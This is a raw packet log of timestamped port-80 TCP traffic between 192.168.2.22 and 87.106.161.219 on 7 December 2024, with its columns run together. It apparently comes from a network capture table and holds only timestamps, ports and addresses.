                                                                                  Dec 7, 2024 15:51:02.318892956 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.320533991 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.320708036 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.320750952 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.322510004 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.322797060 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.322848082 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.324474096 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.324605942 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.324651003 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.326586008 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.326736927 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.326797009 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.328478098 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.328612089 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.328654051 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.330501080 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.330565929 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.330605030 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.332420111 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.332504034 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.332547903 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.334422112 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.334517956 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.334566116 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.336422920 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.336504936 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.336549044 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.338361979 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.338423014 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.338493109 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.340323925 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.340432882 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.340475082 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.342354059 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.342418909 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.342461109 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.344274998 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.344419003 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.344464064 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.346236944 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.346613884 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.346671104 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.348208904 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.348618031 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.348658085 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.350166082 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.350296021 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.350354910 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.352260113 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.352365017 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.352420092 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.354101896 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.354314089 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.354357004 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.356201887 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.356410980 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.356455088 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.358144999 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.358310938 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.358350039 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.360204935 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.360297918 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.360336065 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.361989021 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.362083912 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.362143993 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.364008904 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.364123106 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.364165068 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.365698099 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.365873098 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.365956068 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.367377043 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.367466927 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.367516994 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.369054079 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.369163990 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.369214058 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.371109962 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.371242046 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.371284962 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.372615099 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.373728037 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.373775005 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.374439955 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.374495983 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.374541998 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.375935078 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.376058102 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.376102924 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.377476931 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.377631903 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.377681971 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.379158974 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.379245043 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.379297972 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.380856991 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.380970001 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.381043911 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.382678986 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.382817984 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.382869959 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.384210110 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.384310007 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.384352922 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.385915041 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.385977983 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.386020899 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.387612104 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.387761116 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.387814045 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.389301062 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.389461040 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.389501095 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.391016006 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.391102076 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.391141891 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.392692089 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.392786026 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.392827034 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.394356966 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.394469976 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.394511938 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.396054983 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.396138906 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.396182060 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.397764921 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.397871017 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.397924900 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.399413109 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.399540901 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.399575949 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.401139021 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.401232958 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.401277065 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.402817011 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.403003931 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.403043985 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.404577017 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.404716969 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.404753923 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.406227112 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.406271935 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.406320095 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.504102945 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.504162073 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.504215002 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.504863024 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.504941940 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.504987955 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.506534100 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.506623983 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.506674051 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.508147955 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.508210897 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.508256912 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.509860039 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.510004997 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.510046005 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.511611938 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.511701107 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.511740923 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.513303995 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.513454914 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.513494968 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.514997959 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.515146017 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.515182972 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.516622066 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.516814947 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.516866922 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.518373966 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.518461943 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.518518925 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.520018101 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.520139933 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.520186901 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.521701097 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.521924973 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.521971941 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.544636011 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.544796944 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.544862032 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.545418978 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.545480013 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.545521975 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.619896889 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.619970083 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.620044947 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.620579958 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.620676041 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.620728016 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.622206926 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.622303963 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.622345924 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.623934031 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.624064922 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.624106884 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.625385046 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.625550985 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.625588894 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.626892090 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.627002954 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.627047062 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.628375053 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.628459930 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.628498077 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.629898071 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.630054951 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.630108118 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.631381989 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.631525993 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.631561041 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.632870913 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.632939100 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.632972956 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.634335995 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.634454012 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.634491920 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.635826111 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.635896921 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.635941029 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.637259960 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.637399912 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.637456894 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.638725996 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.638890028 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.638928890 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.640140057 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.640208960 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.640252113 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.641607046 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.641721010 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.641776085 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.642961979 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.643222094 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.643265009 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.644332886 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.644396067 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.644440889 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.645745039 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.645874023 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.645911932 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.647121906 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.647255898 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.647303104 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.648505926 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.648601055 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.648644924 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.649966955 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.650065899 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.650105000 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.651283026 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.651444912 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.651488066 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.652667046 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.652787924 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.652832031 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.654059887 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.654131889 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.654174089 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.655416012 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.655448914 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.655491114 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.656784058 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.656923056 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.656961918 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.658149004 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.658261061 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.658304930 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.659524918 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.659646988 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.659691095 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.660947084 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.661089897 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.661127090 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.662332058 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.662447929 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.662487030 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.663710117 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.663861990 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.663901091 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.665117025 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.665179014 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.665230036 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.666518927 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.666616917 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.666665077 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.667845964 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.667972088 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.668015957 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.669251919 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.669610023 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.669661999 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.670620918 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.670747995 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.670792103 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.671994925 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.672229052 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.672270060 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.673445940 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.673525095 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.673571110 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.674768925 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.695729971 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.695794106 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.695801973 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.696393967 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.696444035 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.696474075 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.697679043 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.697719097 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.697833061 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.699024916 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.699064970 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.699158907 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.700289965 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.700412035 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.700495005 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.701637983 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.701692104 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.701741934 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.702948093 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.702995062 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.703068018 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.704391956 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.704444885 CET4916380192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:51:02.704485893 CET804916387.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:51:02.705758095 CET804916387.106.161.219192.168.2.22
